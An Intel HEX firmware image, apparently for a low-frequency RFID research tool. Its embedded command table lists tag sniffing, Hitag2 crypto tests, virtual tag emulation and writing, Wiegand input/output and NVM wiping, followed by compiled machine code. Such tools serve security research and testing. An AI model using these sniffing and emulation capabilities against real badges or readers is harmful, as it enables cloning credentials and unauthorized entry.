:102648005345542042495048415345203c4f4e7c05
:102658004f46463e202020202020202020202020d9
:102668002020202020202020202020202020202062
:102678002020202020202020202020202053657486
:10268800204269506861736520656e636f64696e86
:10269800670d0a005345542042495453203c42498f
:1026a80054533e202020202020202020202020209d
:1026b8002020202020202020202020202020202012
:1026c8002020202020202020202020202020202002
:1026d80020536574206e756d626572206f66206484
:1026e80061746120626974730d0a000053455420b7
:1026f8004643203c504552494f443e20202020204c
:1027080020202020202020202020202020202020c1
:1027180020202020202020202020202020202020b1
:102728002020202020202020205365742046696521
:102738006c6420436c6f636b20696e2075532f3176
:1027480030300d0a0000000053455420494e5645cc
:102758005254203c4f4e7c4f46463e20202020209d
:102768002020202020202020202020202020202061
:102778002020202020202020202020202020202051
:102788002020202020536574206461746120696ec4
:1027980076657273696f6e0d0a0000005345542008
:1027a8004d414e43484553544552203c4f4e7c4f73
:1027b80046463e20202020202020202020202020a7
:1027c8002020202020202020202020202020202001
:1027d800202020202020202020536574204d616e69
:1027e8006368657374657220656e636f64696e678c
:1027f8000d0a0000534554204d4f44203c41534b93
:102808007c46534b7c50534b313e202020202020c7
:1028180020202020202020202020202020202020b0
:1028280020202020202020202020202020202020a0
:1028380020536574206d6f64756c6174696f6e20c8
:10284800736368656d650d0a0000000053455420e8
:1028580050534b203c5155414c4954593e2020205f
:102868002020202020202020202020202020202060
:102878002020202020202020202020202020202050
:10288800202020202020202020536574206d696e90
:10289800696d756d2050534b2070756c736520778a
:1028a8006964746820696e2075530d0a0000000081
:1028b8005345542052415445203c524154453e20f2
:1028c8002020202020202020202020202020202000
:1028d80020202020202020202020202020202020f0
:1028e8002020202020202020202020202053657414
:1028f8002044617461205261746520696e205246db
:102908002f6e202846432f626974290d0a000000a3
:1029180053455420524550454154203c524550455a
:1029280041543e202020202020202020202020202c
:10293800202020202020202020202020202020208f
:1029480020202020202020202020202020536574b3
:1029580020656d756c6174696f6e207472616e7339
:102968006d697373696f6e207265706574697469d7
:102978006f6e730d0a0000005345542053554230c2
:10298800203c524154453e20202020202020202059
:10299800202020202020202020202020202020202f
:1029a800202020202020202020202020202020201f
:1029b80020202020205365742053756220436172c3
:1029c8007269657220302064617461207261746577
:1029d80020696e2052462f6e202846432f62697464
:1029e800290d0a005345542053554231203c524189
:1029f80054453e2020202020202020202020202058
:102a080020202020202020202020202020202020be
:102a180020202020202020202020202020202020ae
:102a28002053657420537562204361727269657220
:102a380020312064617461207261746520696e20a0
:102a480052462f6e202846432f626974290d0a00ca
:102a58005345542053594e4342495453203c42490c
:102a680054533e20202020202020202020202020d9
:102a7800202020202020202020202020202020204e
:102a88002020202020202020202020202053657472
:102a9800206e756d626572206f662053594e432013
:102aa800626974730d0a00005345542053594e430c
:102ab8003c302d333e203c4845583e2020202020e5
:102ac80020202020202020202020202020202020fe
:102ad80020202020202020202020202020202020ee
:102ae80020202020205365742053594e43206279ba
:102af800746520302d330d0a000000005345542022
:102b0800544147203c545950453e20202020202045
:102b180020202020202020202020202020202020ad
:102b2800202020202020202020202020202020209d
:102b380020202020202020202053657420706172de
:102b4800616d657465727320617070726f707269ff
:102b580061746520666f722054414720545950456e
:102b68000d0a00005345542056544147203c5459ff
:102b780050453e20202020202020202020202020da
:102b8800202020202020202020202020202020203d
:102b9800202020202020202020202020202020202d
:102ba80020536574205669727475616c20544147ce
:102bb80020545950450d0a00534e49464645522067
:102bc80020202020202020202020202020202020fd
:102bd80020202020202020202020202020202020ed
:102be80020202020202020202020202020202020dd
:102bf8002020202020476f20696e746f20534e4993
:102c080046464552206d6f64652028636f6e74696f
:102c18006e756f75736c7920736e69666620554999
:102c280044290d0a00000000534e4946462d5057ce
:102c38004d205b4d494e204741505d205b4d494e2c
:102c48002050554c53455d205b4d45534720474127
:102c5800505d2020202020202020202020202020ff
:102c68002020202020536e6966662050574d206f23
:102c78006e2065787465726e616c20636c6f636b2f
:102c880020776974682052454144455220636f6932
:102c98006c2e2056616c75657320696e2075532003
:102ca8002864656661756c742031322f302f3029a5
:102cb8002e0d0a00534e4946462d50574d203c4391
:102cc8007c537c4c3e2020202020202020202020c7
:102cd80020202020202020202020202020202020ec
:102ce80020202020202020202020202020202020dc
:102cf80020536e6966662050574d202848695461f4
:102d08006732206d6f64652920746f204e565241da
:102d18004d202d20434c4541522c2053544f5245b1
:102d28002c204c4953540d0a0000000053544f50b6
:102d3800202020202020202020202020202020208b
:102d4800202020202020202020202020202020207b
:102d5800202020202020202020202020202020206b
:102d680020202020202020202053746f7020616ea6
:102d7800792072756e6e696e6720636c6f636b7312
:102d88000d0a0000544147532020202020202020f5
:102d9800202020202020202020202020202020202b
:102da800202020202020202020202020202020201b
:102db800202020202020202020202020202020200b
:102dc8002053686f77206b6e6f776e2054414720d1
:102dd80054595045530d0a0054434f4e4649472015
:102de80020202020202020202020202020202020db
:102df80020202020202020202020202020202020cb
:102e080020202020202020202020202020202020ba
:102e1800202020202053686f7720544147277320b3
:102e2800636f6e66696720626c6f636b0d0a0000e2
:102e3800544553542d4849544147202020202020f0
:102e4800202020202020202020202020202020207a
:102e5800202020202020202020202020202020206a
:102e68002020202020202020202020202048697495
:102e78006167322063727970746f202d20746573d6
:102e88007420636f72726563746e65737320262095
:102e980074696d696e670d0a00000000544553544b
:102ea8002d525744205b484558204b45597c50418a
:102eb800545445524e7c5057445d202020202020f9
:102ec80020202020202020202020202020202020fa
:102ed80020202020202020202046696e642069645c
:102ee80065616c20706172616d61746572732066d2
:102ef8006f722052574420636f6d6d616e64730d5d
:102f08000a000000544553542d534320202020200c
:102f180020202020202020202020202020202020a9
:102f28002020202020202020202020202020202099
:102f38002020202020202020202020202020202089
:102f480020546573742049534f2d37383136205338
:102f58006d617274636172642028676574204154de
:102f680052290d0a00000000544553542d534420a3
:102f78002020202020202020202020202020202049
:102f88002020202020202020202020202020202039
:102f98002020202020202020202020202020202029
:102fa80020202020205465737420534420636172cc
:102fb8006420286469726563746f7279206c697320
:102fc80074696e67290d0a00544553542d54494db0
:102fd8004552202020202020202020202020202092
:102fe80020202020202020202020202020202020d9
:102ff80020202020202020202020202020202020c9
:10300800202020202054696d6572207465737473c4
:103018000d0a0000544553542d57494547414e4425
:103028002020202020202020202020202020202098
:103038002020202020202020202020202020202088
:103048002020202020202020202020202020202078
:103058002057696567616e64206c6f6f7062616389
:103068006b20746573740d0a0000000054455354b6
:103078002d57494547414e442d52454144203c4433
:10308800454255472050494e3e20202020202020f0
:103098002020202020202020202020202020202028
:1030a80020202020202020202057696567616e6439
:1030b8002072656164657220746573742028747267
:1030c800696767657273207769746820444542555b
:1030d800475f50494e5f58290d0a00005452455326
:1030e8004554205b5057445d20202020202020207c
:1030f80020202020202020202020202020202020c8
:1031080020202020202020202020202020202020b7
:103118002020202020202020205265736574205410
:103128004147277320636f6e66696720626c6f631f
:103138006b20746f2064656661756c740d0a0000fd
:103148005452495354415445203c4f4e7c4f4646b7
:103158003e20202020202020202020202020202049
:103168002020202020202020202020202020202057
:103178002020202020202020202020202053776974
:10318800746368207265616465722063697263752f
:103198006974207472692d7374617465204f4e2fa1
:1031a8004f46460d0a0000005457495045205b50d1
:1031b80057445d202020202020202020202020206f
:1031c80020202020202020202020202020202020f7
:1031d80020202020202020202020202020202020e7
:1031e80020202020205265736574205441472063b5
:1031f8006f6e74656e747320746f20646566617594
:103208006c7420282a2a2a20616c6c2064617461fd
:103218002077696c6c206265206c6f737421290dae
:103228000a0000005549442020202020202020208a
:103238002020202020202020202020202020202086
:103248002020202020202020202020202020202076
:103258002020202020202020202020202020202066
:10326800205265616420544147205549440d0a00a5
:1032780056455253494f4e20202020202020202000
:103288002020202020202020202020202020202036
:103298002020202020202020202020202020202026
:1032a8002020202020202020202020202053686f4c
:1032b80077206669726d77617265207665727369c9
:1032c8006f6e0d0a00000000565441472020202050
:1032d80020202020202020202020202020202020e6
:1032e80020202020202020202020202020202020d6
:1032f80020202020202020202020202020202020c6
:10330800202020202053686f7720636f6e74656ecd
:103318007473206f66205669727475616c2054410d
:10332800470d0a00565752495445203c424c4f43da
:103338004b3e203c48455820444154413e202020e3
:103348002020202020202020202020202020202075
:103358002020202020202020202020202020202065
:10336800205772697465205654414720646174611e
:1033780020626c6f636b2873290d0a005749454713
:10338800414e442d4c4541524e20202020202020e3
:103398002020202020202020202020202020202025
:1033a8002020202020202020202020202020202015
:1033b8002020202020202020204c6561726e20577c
:1033c800696567616e6420696e7075742074696dd3
:1033d800696e67730d0a000057494547414e442df1
:1033e8004f5554203c4f46467c4f4e3e20202020cf
:1033f80020202020202020202020202020202020c5
:1034080020202020202020202020202020202020b4
:1034180020202020205365742057696567616e64f9
:10342800206f7574707574204f4646206f72204f58
:103438004e0d0a0057494547414e442d52454144d7
:103448002020202020202020202020202020202074
:103458002020202020202020202020202020202064
:103468002020202020202020202020202020202054
:1034780020526561642057696567616e6420696ed2
:103488007075740d0a00000057494547414e442d98
:103498005752495445203c42494e4152593e2020fa
:1034a8002020202020202020202020202020202014
:1034b8002020202020202020202020202020202004
:1034c800202020202053656e642057696567616e4f
:1034d80064206f75747075740d0a00005749504563
:1034e80020202020202020202020202020202020d4
:1034f80020202020202020202020202020202020c4
:1035080020202020202020202020202020202020b3
:1035180020202020202020202057697065204e562a
:103528004d0d0a005752495445203c424c4f434bdd
:103538003e203c48455820444154413e202020200c
:103548002020202020202020202020202020202073
:103558002020202020202020202020202020202063
:10356800205772697465206461746120626c6f63ae
:103578006b20286d61792072657175697265206ca0
:103588006f67696e2f61757468290d0a0000000065
:103598005749524553202020202020202020202039
:1035a8002020202020202020202020202020202013
:1035b8002020202020202020202020202020202003
:1035c8002020202020202020202020202053686f29
:1035d8007720776972696e67206469616772616dc7
:1035e8002028616c6961733a20574952494e472037
:1035f80050494e53290d0a00574952494e47202039
:1036080020202020202020202020202020202020b2
:1036180020202020202020202020202020202020a2
:103628002020202020202020202020202020202092
:10363800202020202053686f7720776972696e6791
:10364800206469616772616d2028616c6961733af1
:103658002057495245532050494e53290d0a00001e
:0c3668000000803f20bcbe4ca1a0a03c94
:020000040000fa
:020000041d02db
:1036740010ffbd27ec00bfafe800beaf21f0a003f0
:10368400f000c4aff400c5af1400c0af049d023c09
:10369400dc5544242013410f000000001800c22709
:1036a40021204000d2ad400f00000000080040146b
:1036b40000000000049d023ce05544242013410f07
:1036c40000000000211000003f8e400b00000000ad
:1036d4002400c3271800c2272120600021284000ad
:1036e400e7b8400f00000000f400c48f2000052458
:1036f4002e57410f000000001400c2af1400c28f07
:103704000800401400000000049d023cf4554424c9
:103714002013410f00000000211000003f8e400bd9
:10372400000000001400c28f000040a04400c22723
:1037340021204000f400c58fe7b8400f00000000ce
:10374400211840002000022408006210000000003c
:10375400049d023c185644242013410f000000002d
:10376400211000003f8e400b000000001400c28fa7
:10377400010042244400c327200063242120600068
:1037840021284000e7b8400f000000002118400045
:10379400200002240800621000000000049d023c86
:1037a400345644242013410f00000000211000006f
:1037b4003f8e400b000000008400c3274400c22752
:1037c4002120600021284000458e400f00000000a9
:1037d4000800401400000000049d023c505644249c
:1037e4002013410f00000000211000003f8e400b09
:1037f400000000009c00c4278400c5274400c327a0
:103804002400c2272130600021384000d28e400fae
:10381400000000000800401400000000049d023c69
:10382400785644242013410f0000000021100000aa
:103834003f8e400b00000000f000c28f000040a04b
:103844001000c0af3a8e400b000000001000c28f81
:10385400ff00423021284000c800c4274400c32789
:103864009c00c22721306000213840000d90400f99
:10387400000000000c00401000000000d400c3272a
:10388400c800c22721206000049d033ca85665247b
:103894001000c68f21384000ac54410f00000000d6
:1038a400328e400b00000000d400c22721204000cb
:1038b400049d023cb45645241000c68fac54410ffd
:1038c40000000000d400c227f000c48f212840006b
:1038d4005856410f000000001000c28f010042241e
:1038e4001000c2af1000c28f08004228d7ff401456
:1038f400000000000100022421e8c003ec00bf8f97
:10390400e800be8ff000bd270800e00300000000bf
:10391400c8ffbd273400bfaf3000beaf21f0a00305
:103924003800c4af3c00c5af049d023cbc564424df
:103934002013410f000000001000c0a3c38e400bf1
:10394400000000001100c0a3bc8e400b000000006a
:103954001200c0a3b58e400b000000001300c0a3ea
:10396400ae8e400b000000001400c0a3a78e400bd5
:10397400000000001500c0a3a08e400b0000000052
:103984001000c2931800c2a31100c2931900c2a36d
:103994001200c2931a00c2a31300c2931b00c2a355
:1039a4001400c2931c00c2a31d00c0a31500c2933f
:1039b4001e00c2a31f00c0a32000c0a32100c0a3f7
:1039c4002400c3271800c227212060003c00c58fb3
:1039d400213040000a0007248e90400f00000000b0
:1039e4001b004010000000002400c22721204000da
:1039f400049d023ce0564524734d410f0000000035
:103a040017004010000000003800c28f1800c48f57
:103a14001c00c38f030044a8000044b8070043a857
:103a2400040043b82000c393080043a02100c393bb
:103a3400090043a0049d023cdc5544242013410f9b
:103a44000000000001000224cc8e400b00000000a6
:103a5400049d023cec5644242013410f0000000056
:103a6400049d023c2c5744242013410f0000000005
:103a74001500c293010042241500c2a31500c2938d
:103a84000200422cbeff4014000000001400c29348
:103a9400010042241400c2a31400c2930200422c69
:103aa400b4ff4014000000001300c293010042243c
:103ab4001300c2a31300c2930200422caaff4014b5
:103ac400000000001200c293010042241200c2a3ad
:103ad4001200c2930200422ca0ff40140000000018
:103ae4001100c293010042241100c2a31100c29329
:103af4000200422c96ff4014000000001000c29304
:103b0400010042241000c2a31000c2930200422c00
:103b14008cff401400000000049d023c30574424f4
:103b24002013410f000000002110000021e8c00311
:103b34003400bf8f3000be8f3800bd270800e0037b
:103b440000000000a0ffbd275c00bfaf5800beaf5f
:103b540021f0a0036000c4af6400c5af6800c6af25
:103b64006c00c7af049d023c745744242013410fda
:103b7400000000001800c0a3728f400b000000007a
:103b84001900c0a36b8f400b000000001a00c0a3f3
:103b9400648f400b000000001b00c0a35d8f400b2e
:103ba400000000006400c28f0300438821206000ed
:103bb4000000449807004388040043981c00c4afe5
:103bc4002000c3af080043902400c3a3090042901f
:103bd4002500c2a31800c293090040100000000091
:103be4002100c2930100422cff0042302100c2a3f5
:103bf4001c00c2930100422cff0042301c00c2a3ef
:103c04001900c29309004010000000002300c29371
:103c14000100422cff0042302300c2a31e00c293c5
:103c24000100422cff0042301e00c2a31a00c293be
:103c340009004010000000002400c2930100422c3f
:103c4400ff0042302400c2a31f00c2930100422c93
:103c5400ff0042301f00c2a31b00c29309004010a2
:103c6400000000002500c2930100422cff004230f6
:103c74002500c2a32000c2930100422cff00423061
:103c84002000c2a32800c3271c00c22721206000f3
:103c94006800c58f213040000a0007248e90400f31
:103ca4000000000027004010000000002800c22788
:103cb40021204000049d023ce0564524734d410ff1
:103cc4000000000019004010000000003400c32769
:103cd4002800c2272120600021284000e7b8400fb7
:103ce400000000001c00c2273400c3271000a3af4b
:103cf4006000c48f6800c58f213040006c00c78ffe
:103d0400818f400f000000001200401000000000ee
:103d1400049d023cdc5544242013410f00000000a4
:103d2400010002247b8f400b00000000049d023c34
:103d3400945744242013410f00000000568f400b79
:103d440000000000049d023ce85744242013410f66
:103d540000000000049d023c2c5744242013410f12
:103d6400000000001b00c293010042241b00c2a3f8
:103d74001b00c2930200422c8aff40140000000082
:103d84001a00c293010042241a00c2a31a00c2936b
:103d94000200422c80ff4014000000001900c2936e
:103da400010042241900c2a31900c2930200422c4c
:103db40076ff4014000000001800c2930100422462
:103dc4001800c2a31800c2930200422c6cff4014d6
:103dd40000000000049d023c285844242013410f95
:103de400000000002110000021e8c0035c00bf8f28
:103df4005800be8f6000bd270800e00300000000eb
:103e040030ffbd27cc00bfafc800beaf21f0a00378
:103e1400d000c4afd400c5afd800c6afdc00c7af74
:103e24001400c22721204000d800c58f0a000624b0
:103e3400494a410f000000001400c2270a0042242e
:103e440021204000e000c58f20000624494a410f8c
:103e5400000000004000c22721204000049d023cd5
:103e64007c58452477ba400f000000004000c22768
:103e74000a00422421204000dc00c58f20000624d3
:103e8400494a410f000000004000c3271400c22724
:103e9400d000c48f21286000213040002a0007246c
:103ea400e88f400f000000001000c0afbc8f400b33
:103eb400000000001000c28f4010020080180200b1
:103ec400211043006c00c327211062002120400010
:103ed400049d023c7c58452477ba400f0000000042
:103ee4001000c28f010042241000c2af1000c28f24
:103ef40004004228efff4014000000009400c32790
:103f04006c00c2272120600021284000d000c68f09
:103f140028000724e88f400f00000000bc00c327de
:103f24009400c22721206000d400c58f21304000b6
:103f3400280007248e90400f000000000c00401061
:103f440000000000bc00c22721204000049d023c68
:103f5400e0564524734d410f000000000800401056
:103f64000000000001000224e28f400b000000006a
:103f7400049d023c885844242013410f0000000093
:103f84002110000021e8c003cc00bf8fc800be8f01
:103f9400d000bd270800e00300000000f0ffbd27ab
:103fa4000c00beaf21f0a0031000c4af1400c5afd5
:103fb4001800c6af1c00c7af0000c0af0390400b91
:103fc400000000000000c28f1000c38f21106200a7
:103fd4000000c38f1400c48f211883000000649074
:103fe4000000c38f1800c58f2118a3000000639040
:103ff40026188300ff006330000043a00000c28f36
:10400400010042240000c2af0000c38f1c00c28f15
:104014002b106200ebff40140000000021e8c003f5
:104024000c00be8f1000bd270800e0030000000054
:1040340080ffbd277c00bfaf7800beaf21f0a00396
:104044008000c4af2110a0008800c6af8c00c7afa9
:104054008400c2a38400c2930800422c08004014c8
:1040640000000000049d023cc45844242013410f66
:1040740000000000211000008890400b00000000a8
:104084001000c22721204000049d023c7c58452496
:1040940077ba400f000000008400c2930100423050
:1040a40009004010000000001900c2930100422cd6
:1040b400ff0042301900c2a31400c2930100422c35
:1040c400ff0042301400c2a38400c29302004230b5
:1040d40009004010000000001800c2930100422ca7
:1040e400ff0042301800c2a31300c2930100422c07
:1040f400ff0042301300c2a38400c2930400423084
:1041040009004010000000001700c2930100422c77
:10411400ff0042301700c2a31200c2930100422cd8
:10412400ff0042301200c2a31c00c227212040001d
:104134001000c227212840008c00c68f0a000724e3
:10414400e88f400f000000002800c3271c00c2278e
:10415400212060008800c58f213040000a00072418
:104164008e90400f00000000270040100000000067
:104174002800c22721204000049d023ce05645242b
:10418400734d410f000000001900401000000000b2
:104194003400c3272800c2272120600021284000c2
:1041a400e7b8400f000000008c00c28f0a004224d0
:1041b4005400c4273400c327212860002130400064
:1041c40020000724e88f400f000000005400c2279d
:1041d4008000c48f212840002000062463b9400fca
:1041e40000000000010002248890400b0000000041
:1041f400049d023cf05844242013410f00000000a9
:104204008790400b00000000049d023c3c5944246c
:104214002013410f000000002110000021e8c0031a
:104224007c00bf8f7800be8f8000bd270800e003ac
:104234000000000098ffbd276400bfaf6000beaf60
:1042440021f0a0036800c4af6c00c5af7000c6af16
:104254007400c7af1800c0af4400c227212040003b
:10426400d2ad400f00000000080040140000000020
:10427400049d023c785944242013410f000000009f
:1042840021100000d490400b000000000c8180af8e
:104294004400c22721204000d2ad400f000000009e
:1042a4000800401400000000049d023ca45944246a
:1042b4002013410f0000000021100000d490400b97
:1042c400000000005000c2271000a0af21204000d1
:1042d4006c00c58f4000062403000724da90400fc9
:1042e400000000000800401400000000049d023c8f
:1042f400dc5944242013410f000000002110000069
:10430400d490400b000000001000a0af6800c48fe0
:104314007000c58f7400c68f03000724da90400f25
:10432400000000000800401400000000049d023c4e
:104334000c5a44242013410f0000000021100000f7
:10434400d490400b000000000100022421e8c003c7
:104354006400bf8f6000be8f6800bd270800e003c3
:104364000000000098ffbd276400bfaf6000beaf2f
:1043740021f0a0036800c4af6c00c5af7000c6afe5
:104384007400c7af3000c0af0c8180af00a0023c06
:10439400dc5642249c00478c00a0023cdc5642249c
:1043a400f800468c00a0023cdc564224e400458c14
:1043b40000a0023cdc564224e800448c00a0023ced
:1043c400dc564224e000438c00a0023cdc5642242c
:1043d400f400428c7400c88f1000a8af1400a7af7b
:1043e4001800a0af1c00a6af2000a5af2400a4af06
:1043f4002800a3af2c00a2af6c00c48f7000c58f3f
:104404007800c68f01000724313b410f00000000f3
:104414000800401400000000049d023c3c5a44245f
:104424002013410f00000000211000004f91400ba9
:104434000000000001000224448282a300a0023c88
:10444400dc5642249c00448c00a0023cdc564224ee
:10445400a400438c00a0023cdc564224bc004290e1
:104464002130400000a0023cdc5642248c00458ce4
:104474003400c22700a0073c9957e7241000a7afd7
:104484001400a6af1800a5af010005241c00a5afb9
:104494002000a0af2128600021304000250007241f
:1044a400a9ff400f000000003000c2af3000c38fee
:1044b400250002241b006214000000003400c227ff
:1044c40021204000059d023ca45f452405000624ec
:1044d400d352410f0000000008004010000000000b
:1044e400049d023c645a44242013410f0000000040
:1044f400211000004f91400b000000003400c2273f
:10450400050042246800c48f2128400020000624ae
:1045140063b9400f00000000010002244f91400bda
:1045240000000000049d023c845a44242013410fdf
:10453400000000002110000021e8c0036400bf8fc8
:104544006000be8f6800bd270800e0030000000083
:10455400b8fabd274405bfaf4005beaf3c05b7afb1
:104564003805b6af3405b5af3005b4af2c05b3afdd
:104574002805b2af2405b1af2005b0af21f0a003e8
:104584004805c4af4c05c5af4c05c28f1800c2af77
:104594001800c48f200005242e57410f000000008e
:1045a4001c00c2af1c00c28f0800401400000000b1
:1045b400049d023ca85a44242013410f000000002b
:1045c40021100000979a400b000000001c00c28fcd
:1045d400000040a01800c48fa34a410f000000004f
:1045e400211840000c0002240800621000000000a2
:1045f400049d023cd45a44242013410f00000000bf
:1046040021100000979a400b000000001800c48f8e
:1046140021b8400f0000000040260300c2810200c0
:1046240025809000c2890300010016320000373251
:104634001800c48f21b8400f00000000c0260300fa
:1046440042910200259092004299030002004232f6
:104654003000c2af000063323400c3af3000c68ff5
:104664002120c6022b1096003400c38f2128e302b8
:104674002110450021284000218080002188a000cd
:104684001800c48f21b8400f000000004027030029
:10469400c2a0020025a09400c2a803000400843232
:1046a4003800c4af0000a5323c00c5af3800c68f47
:1046b400212006022b1090003c00c38f21282302e6
:1046c4002110450021284000218080002188a0007d
:1046d4001800c48f21b8400f00000000c027030059
:1046e400422802004000c5af4000c68f2520860046
:1046f4004000c4af422003004400c4af4000c58f53
:104704000800a5304800c5af4400c68f0000c6307d
:104714004c00c6af4800c28f212002022b1090002b
:104724004c00c38f2128230221104500212840007a
:10473400218080002188a0001800c48f21b8400f78
:1047440000000000c2270200402803005400c5af47
:104754005400c68f252086005400c4af40200200b8
:104764005000c4af5000c58f1000a5305800c5af2d
:104774005400c68f0000c6305c00c6af5800c28f1c
:10478400212002022b1090005c00c38f21282302f9
:104794002110450021284000218080002188a000ac
:1047a4001800c48f21b8400f000000004227020007
:1047b400c02803006400c5af6400c68f25208600ae
:1047c4006400c4afc02002006000c4af6000c58fa5
:1047d4002000a5306800c5af6400c68f0000c63055
:1047e4006c00c6af6800c28f212002022b1090001b
:1047f4006c00c38f2128230221104500212840008a
:10480400218080002188a0001800c48f21b8400fa7
:1048140000000000c2260200402903007400c5af56
:104824007400c68f252086007400c4af40210200a6
:104834007000c4af7000c58f4000a5307800c5afcc
:104844007400c68f0000c6307c00c6af7800c28feb
:10485400212002022b1090007c00c38f2128230208
:104864002110450021284000218080002188a000db
:104874001800c48f21b8400f000000004226020037
:10488400c02903008400c5af8400c68f252086009c
:104894008400c4afc02102008000c4af8000c5936f
:1048a4008800c5af8400c68f0000c6308c00c6af38
:1048b4008800c28f212002022b1090008c00c38f2d
:1048c4002128230221104500212840002190800046
:1048d4002198a0001800c48f21b8400f00000000e8
:1048e40040240300c22b02009000c5af9000c68f85
:1048f400252086009000c4afc22303009400c4aff7
:104904009000c58f0100a5309800c5af9400c68ff4
:104914000000c6309c00c6af1800c48f21b8400ff9
:1049240000000000c0240300422b0200a000c5af19
:10493400a000c68f25208600a000c4af4223030038
:10494400a400c4afa000c58f0200a530a800c5af65
:10495400a400c68f0000c630ac00c6af9800c28f5a
:10496400a800c38f212043009800c68f2b10860017
:104974009c00c38fac00c68f21286600211045001f
:1049840021284000218080002188a0001800c48fc5
:1049940021b8400f0000000040250300c22a020095
:1049a400b000c5afb000c68f25208600b000c4afec
:1049b400c2220300b400c4afb000c58f0400a53008
:1049c400b800c5afb400c68f0000c630bc00c6af87
:1049d400b800c28f212002022b109000bc00c38fac
:1049e4002128230221104500212840002180800035
:1049f4002188a0001800c48f21b8400f00000000d7
:104a0400c0250300422a0200c000c5afc000c68f03
:104a140025208600c000c4af42220300c400c4aff6
:104a2400c000c58f0800a530c800c5afc400c68f3c
:104a34000000c630cc00c6afc800c28f21200202dd
:104a44002b109000cc00c38f212823022110450095
:104a540021284000218080002188a0001800c48ff4
:104a640021b8400f0000000000260300022a0200c3
:104a7400d000c5afd000c68f25208600d000c4afbb
:104a840002220300d400c4afd000c58fc2170500b2
:104a9400d400c68f40300600dc00c6afdc00c38ff4
:104aa40025104300dc00c2afd000c48f40200400b6
:104ab400d800c4afd800c58f1000a530e000c5af42
:104ac400dc00c68f0000c630e400c6afe000c28f31
:104ad400212002022b109000e400c38f212823021e
:104ae4002110450021284000218080002188a00059
:104af4001800c48f21b8400f0000000000260300f6
:104b0400022a0200e800c5afe800c68f252086000f
:104b1400e800c4af02220300ec00c4afe800c58f74
:104b240042170500ec00c68fc0300600f400c6af83
:104b3400f400c38f25104300f400c2afe800c48f13
:104b4400c0200400f000c4aff000c58f2000a530e1
:104b5400f800c5aff400c68f0000c630fc00c6af35
:104b6400f800c28f212002022b109000fc00c38f9a
:104b740021282302211045002128400021808000a3
:104b84002188a0001800c48f21b8400f0000000045
:104b940000260300022a02000001c5af0001c68fef
:104ba400252086000001c4af022203000401c4af23
:104bb4000001c58fc21605000401c68f40310600ee
:104bc4000c01c6af0c01c38f251043000c01c2af0a
:104bd4000001c48f402104000801c4af0801c58f3f
:104be4004000a5301001c5af0c01c68f0000c630cf
:104bf4001401c6af1001c28f212002022b109000b5
:104c04001401c38f212823022110450021284000cc
:104c1400218080002188a0001800c48f21b8400f93
:104c24000000000000260300022a02001801c5af9c
:104c34001801c68f252086001801c4af0222030084
:104c44001c01c4af1801c58f421605001c01c68f94
:104c5400c03106002401c6af2401c38f25104300d0
:104c64002401c2af1801c48fc02104002001c4afc5
:104c74002001c5932801c5af2401c68f0000c630aa
:104c84002c01c6af2801c28f212002022b109000f4
:104c94002c01c38f21282302211045002128400024
:104ca400211080002118a00002260200002a03001f
:104cb4003401c5af3401c68f252086003401c4af4a
:104cc400002202003001c4af3001c68f2120460209
:104cd4002b1092003401c38f212863022110450058
:104ce4002128400021a0800021a8a0001800c48f22
:104cf40021b8400f0000000040220300c22d020032
:104d04003801c5af3801c68f252086003801c4afed
:104d1400c22503003c01c4af3801c58f0100a53092
:104d24004001c5af3c01c68f0000c6304401c6af88
:104d34001800c48f21b8400f00000000c0220300f7
:104d4400422d02004801c5af4801c68f25208600c8
:104d54004801c4af422503004c01c4af4801c58fcc
:104d64000200a5305001c5af4c01c68f0000c6300b
:104d74005401c6af4001c28f5001c38f21204300ac
:104d84004001c68f2b1086004401c38f5401c68f87
:104d94002128660021104500212840002180800040
:104da4002188a0001800c48f21b8400f0000000023
:104db40040230300c22c02005801c5af5801c68f1e
:104dc400252086005801c4afc22403005c01c4af8f
:104dd4005801c58f0400a5306001c5af5c01c68fc2
:104de4000000c6306401c6af6001c28f21200202f8
:104df4002b1090006401c38f212823022110450049
:104e040021284000218080002188a0001800c48f40
:104e140021b8400f00000000c0230300422c020010
:104e24006801c5af6801c68f252086006801c4af3c
:104e3400422403006c01c4af6801c58f0800a5308b
:104e44007001c5af6c01c68f0000c6307401c6afd7
:104e54007001c28f212002022b1090007401c38fb5
:104e640021282302211045002128400021808000b0
:104e74002188a0001800c48f21b8400f0000000052
:104e840000240300022c02007801c5af7801c68f0c
:104e9400252086007801c4af022403007c01c4af3e
:104ea4007801c58fc21705007c01c68f403006000b
:104eb4008401c6af8401c38f251043008401c2afaf
:104ec4007801c48f402004008001c4af8001c58fe5
:104ed4001000a5308801c5af8401c68f0000c6301c
:104ee4008c01c6af8801c28f212002022b109000d2
:104ef4008c01c38f21282302211045002128400062
:104f0400218080002188a0001800c48f21b8400fa0
:104f14000000000000240300022c02009001c5af31
:104f24009001c68f252086009001c4af022403009f
:104f34009401c4af9001c58f421705009401c68f38
:104f4400c03006009c01c6af9c01c38f25104300ee
:104f54009c01c2af9001c48fc02004009801c4af6b
:104f64009801c58f2000a530a001c5af9c01c68f54
:104f74000000c630a401c6afa001c28f21200202e6
:104f84002b109000a401c38f212823022110450077
:104f940021284000218080002188a0001800c48faf
:104fa40021b8400f0000000000240300022c02007e
:104fb400a801c5afa801c68f25208600a801c4afeb
:104fc40002240300ac01c4afa801c58fc2160500ba
:104fd400ac01c68f40310600b401c6afb401c38f23
:104fe40025104300b401c2afa801c48f40210400be
:104ff400b001c4afb001c58f4000a530b801c5af42
:10500400b401c68f0000c630bc01c6afb801c28f60
:10501400212002022b109000bc01c38f21282302ff
:105024002110450021284000218080002188a00013
:105034001800c48f21b8400f0000000000240300b2
:10504400022c0200c001c5afc001c68f2520860016
:10505400c001c4af02240300c401c4afc001c58fa2
:1050640042160500c401c68fc0310600cc01c6af8c
:10507400cc01c38f25104300cc01c2afc001c48f43
:10508400c0210400c801c4afc801c593d001c5af95
:10509400cc01c68f0000c630d401c6afd001c28f88
:1050a400212002022b109000d401c38f2128230257
:1050b4002110450021284000219080002198a00063
:1050c4001800c48f21b8400f0000000040200300e6
:1050d400c22f0200d801c5afd801c68f2520860093
:1050e400d801c4afc2270300dc01c4afd801c58f07
:1050f4000100a530e001c5afdc01c68f0000c63059
:10510400e401c6af1800c48f21b8400f00000000ae
:10511400c0200300422f0200e801c5afe801c68f9a
:1051240025208600e801c4af42270300ec01c4af88
:10513400e801c58f0200a530f001c5afec01c68fb0
:105144000000c630f401c6afe001c28ff001c38f86
:1051540021204300e001c68f2b108600e401c38f99
:10516400f401c68f21286600211045002128400043
:10517400218080002188a0001800c48f21b8400f2e
:105184000000000040210300c22e0200f801c5af58
